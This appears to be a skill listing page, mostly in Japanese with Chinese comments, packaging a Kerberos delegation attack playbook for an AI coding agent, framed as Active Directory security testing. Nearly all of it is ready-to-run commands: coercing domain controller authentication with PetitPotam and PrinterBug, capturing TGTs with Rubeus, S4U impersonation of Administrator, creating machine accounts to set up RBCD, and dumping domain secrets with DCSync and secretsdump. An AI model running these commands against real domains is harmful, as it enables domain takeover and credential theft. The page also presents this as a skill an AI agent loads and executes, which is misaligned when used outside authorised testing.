ad-delegation-attack について
Active Directory のセキュリティテスト向けに、Kerberos 委任の列挙と悪用手順をまとめたスキルです。非制約、制約付き、リソースベースの制約付き委任を扱い、ツールのコマンドやトラブルシューティングも示します。
主な機能
- 01ドメインの委任設定を列挙
- 02非制約委任の悪用方法を説明
- 03制約付き委任と S4U を解説
- 04RBCD の設定と利用
- 05問題解決とクリーンアップ手順
活用シーン
- 01ドメインの委任設定を棚卸し
- 02委任による権限昇格経路を評価
- 03RBCD の設定と攻撃手順を検証
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ wgpsec/ aboutsecurity --skill ad-delegation-attackインストール後、Claude Code で/ad-delegation-attackを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
references/constrained-delegation.mdrbcd-attack.mdunconstrained-delegation.md詳細
Kerberos 委譲攻撃
トリガー条件
以下のシナリオでこのスキルを使用します。
- BloodHound で、ドメイン内に非制約型/制約型の委譲設定があることが判明した
- SPN が設定されたサービスアカウントまたはマシンアカウントを制御した
- 対象のコンピューターオブジェクトに GenericWrite/GenericAll/WriteDacl 権限がある
- 委譲を利用して権限昇格または横方向への移動を行う必要がある
前提条件
- 有効なドメイン資格情報(平文/ハッシュ/チケット)
- 委譲設定を列挙済み(またはこれから列挙する)
- ツール:findDelegation.py、getST.py、rbcd.py、addcomputer.py、Rubeus
委譲タイプ早見表
| タイプ | 主なフラグ/属性 | 攻撃方法 |
|---|---|---|
| 非制約型委譲 | TRUSTED_FOR_DELEGATION (UAC 524288) | アクセスしたユーザーの TGT を捕捉 |
| 制約型委譲(プロトコル遷移あり) | msDS-AllowedToDelegateTo + TRUSTED_TO_AUTH_FOR_DELEGATION | S4U2Self + S4U2Proxy |
| 制約型委譲(プロトコル遷移なし) | msDS-AllowedToDelegateTo | 先にユーザーの認証が必要、または RBCD と組み合わせる |
| RBCD | msDS-AllowedToActOnBehalfOfOtherIdentity | 設定後に S4U 攻撃 |
判断ツリー
[开始] 需要利用 Kerberos 委派
│
├─ 已知委派配置?
│ ├─ 否 → Phase 1: 委派枚举
│ └─ 是 → 判断类型
│
├─ 非约束委派 (Unconstrained)
│ ├─ 已控制该机器?
│ │ ├─ 是 → Phase 2: 监听 TGT + 强制认证
│ │ └─ 否 → 需先取得机器控制权
│ └─ 捕获 DC TGT → DCSync / 横向移动
│
├─ 约束委派 (Constrained)
│ ├─ 有协议转换 (TrustedToAuthForDelegation)?
│ │ ├─ 是 → Phase 3: S4U2Self + S4U2Proxy 直接利用
│ │ └─ 否 → 需用户票据或结合 RBCD
│ ├─ 目标服务非 cifs/ldap → altservice 技巧改写 SPN
│ └─ 获取 ST → 访问目标服务
│
├─ RBCD
│ ├─ 对目标有写权限?
│ │ ├─ 是 → Phase 4: RBCD 攻击
│ │ └─ 否 → 寻找 ACL 路径
│ ├─ MAQ > 0 或已有机器账号 → 创建/使用机器账号
│ └─ 配置 → S4U → 访问 → 清理
│
└─ 无委派可利用 → 检查 ACL,考虑其他路径
Phase 1:委譲の列挙
目標:ドメイン内のすべての委譲設定を検出する
# findDelegation.py (推荐,一次发现所有类型)
findDelegation.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP>
出力例:
AccountName AccountType DelegationType DelegationRightsTo
------------ ----------- ---------------------------------- --------------------------
DC01$ Computer Unconstrained N/A
SVC_SQL User Constrained w/ Protocol Transition MSSQLSvc/db01.domain.local
WEB01$ Computer Constrained http/app01.domain.local
LDAP フィルター
# 非约束委派 (排除 DC)
(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(primaryGroupID=516)))
# 约束委派
(&(objectCategory=*)(msDS-AllowedToDelegateTo=*))
# RBCD
(&(objectCategory=computer)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))
PowerView
# 非约束委派 (排除 DC)
Get-DomainComputer -Unconstrained | Where-Object {$_.name -notlike "*DC*"}
# 约束委派
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
BloodHound Cypher
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH 'DC' RETURN c.name
MATCH (u)-[:AllowedToDelegate]->(c:Computer) RETURN u.name, c.name
MATCH p=(u)-[:GenericWrite|GenericAll|WriteDacl]->(c:Computer) RETURN p
Phase 2:非制約型委譲の悪用
前提条件:DC ではない TRUSTED_FOR_DELEGATION マシンをすでに制御している
原理:ユーザーがアクセスすると、KDC は ST に TGT を埋め込み、サーバーはそれを LSASS にキャッシュします。抽出すれば、そのユーザーになりすませます。
→ references/unconstrained-delegation.md
2.1 TGT を待ち受ける
Rubeus.exe monitor /interval:10 /nowrap
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$
2.2 強制認証をトリガーする
# Coercer (集成多种方法)
coercer coerce -u <USER> -p <PASSWORD> -d <DOMAIN> -l <UNCONSTRAINED_MACHINE> -t <DC_IP>
# PetitPotam (MS-EFSRPC)
PetitPotam.py <UNCONSTRAINED_MACHINE> <DC_IP>
# PrinterBug (MS-RPRN)
SpoolSample.exe <DC_HOSTNAME> <UNCONSTRAINED_MACHINE>
2.3 捕捉した TGT を使用する
# 导入票据并 DCSync
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<BASE64_TGT>
steal_token <PID>
dcsync <DOMAIN> <DOMAIN>\krbtgt
# Linux
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass '<DOMAIN>/DC01$@dc01.<DOMAIN>'
Phase 3:制約型委譲の悪用
前提条件:制約型委譲が設定されたサービスアカウント/マシンアカウントの資格情報を制御している
→ references/constrained-delegation.md
3A:プロトコル遷移あり — S4U2Self + S4U2Proxy
# getST.py
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
<DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>
# 使用 Hash
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
-hashes :<NT_HASH> <DOMAIN>/<SERVICE_ACCOUNT>
# 使用票据
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN>
# Rubeus
Rubeus.exe s4u /user:<SERVICE_ACCOUNT> /rc4:<NT_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /ptt
altservice テクニック
ST 内の sname は署名による保護がないため、同じホスト上の別のサービスに書き換えられます。
# 原目标 time/dc01 → 改为 ldap 用于 DCSync
getST.py -spn time/<DC_FQDN> -impersonate Administrator \
-altservice cifs/<DC_FQDN> <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:time/<DC_FQDN> /altservice:ldap /user:<SERVICE_ACCOUNT> /ticket:<BASE64_TGT> /nowrap
3B:プロトコル遷移なし
S4U2Self チケットは転送できないため、追加の手段が必要です。
# 方法 1: 结合 RBCD (在服务账号自身配置)
rbcd.py -delegate-from '<SERVICE_ACCOUNT>' -delegate-to '<SERVICE_ACCOUNT>$' \
-action write <DOMAIN>/<USER>:<PASSWORD>
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
<DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>
# 方法 2: 捕获用户可转发票据后 S4U2Proxy
Rubeus.exe monitor /interval:5 /filteruser:Administrator
Rubeus.exe s4u /ticket:<CAPTURED_TGT> /msdsspn:cifs/<TARGET_FQDN> /ptt
Phase 4:リソースベースの制約付き委譲(RBCD)
前提条件:対象に対する GenericWrite/GenericAll/WriteDacl 権限があり、マシンアカウントを作成できるか、すでに所有している
4.1 前提条件の確認
# 检查 MAQ
crackmapexec ldap <DC_IP> -u <USER> -p <PASSWORD> -M maq
# 检查 ACL
Get-DomainObjectAcl -Identity "<TARGET>" -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl"
}
4.2 マシンアカウントを作成する
addcomputer.py -computer-name 'YOURPC$' -computer-pass 'P@ssw0rd123' \
-dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
4.3 RBCD を設定する
rbcd.py -delegate-from 'YOURPC$' -delegate-to '<TARGET>$' -action write \
-dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
4.4 S4U 攻撃
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
-dc-ip <DC_IP> <DOMAIN>/'YOURPC$':'P@ssw0rd123'
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN>
Rubeus.exe hash /password:P@ssw0rd123 /user:YOURPC$ /domain:<DOMAIN>
Rubeus.exe s4u /user:YOURPC$ /rc4:<COMPUTED_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /ptt
4.5 クリーンアップ
rbcd.py -delegate-to '<TARGET>$' -action flush -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
addcomputer.py -computer-name 'YOURPC$' -delete -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
Get-DomainComputer -Identity <TARGET> | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
よくある問題のトラブルシューティング
S4U の失敗:KDC_ERR_BADOPTION
- なりすまそうとしているユーザーが Protected Users グループに所属している — 別のユーザーに変更する
- ユーザーに「Account is sensitive and cannot be delegated」のフラグが設定されている — 別のユーザーに変更する
- サービスアカウントに SPN がない — 登録済みであることを確認する
- プロトコル遷移なしのチケットは転送できない — RBCD と組み合わせる
マシンアカウントを作成できない
ms-DS-MachineAccountQuotaを確認する(デフォルトは 10)- クォータを使い切っている → 制御済みのマシンアカウントを使用する
- ドメイン内に既存の SPN を持つユーザーアカウントを探す
RBCD の設定に成功したが S4U が失敗する
- マシンアカウントに SPN があることを確認する(
HOST/YOURPCは自動登録されます) rbcd.py -action readで属性が書き込まれたことを確認する- DNS の名前解決が正しいことを確認する — SPN は DNS と一致している必要があります
ツールのリファレンス
| ツール | 用途 | プラットフォーム |
|---|---|---|
| findDelegation.py | すべての委譲設定を列挙 | Linux |
| getST.py | S4U 攻撃でサービスチケットを取得 | Linux |
| rbcd.py | RBCD の設定/読み取り/消去 | Linux |
| addcomputer.py | マシンアカウントの作成/削除 | Linux |
| Rubeus | Kerberos チケットの操作 | Windows |
| Coercer | 強制認証(複数の方法を統合) | Linux |
| PetitPotam | MS-EFSRPC による強制認証 | クロスプラットフォーム |
詳細なリファレンス
- → references/unconstrained-delegation.md — TGT のキャッシュ機構、強制認証のトリガー、検出回避
- → references/constrained-delegation.md — S4U プロトコルの仕組み、プロトコル遷移、altservice テクニック、クロスドメイン委譲
- → references/rbcd-attack.md — RBCD の完全な攻撃チェーン、代替経路、Shadow Credentials、クリーンアップと OPSEC
コメント
Markdown 対応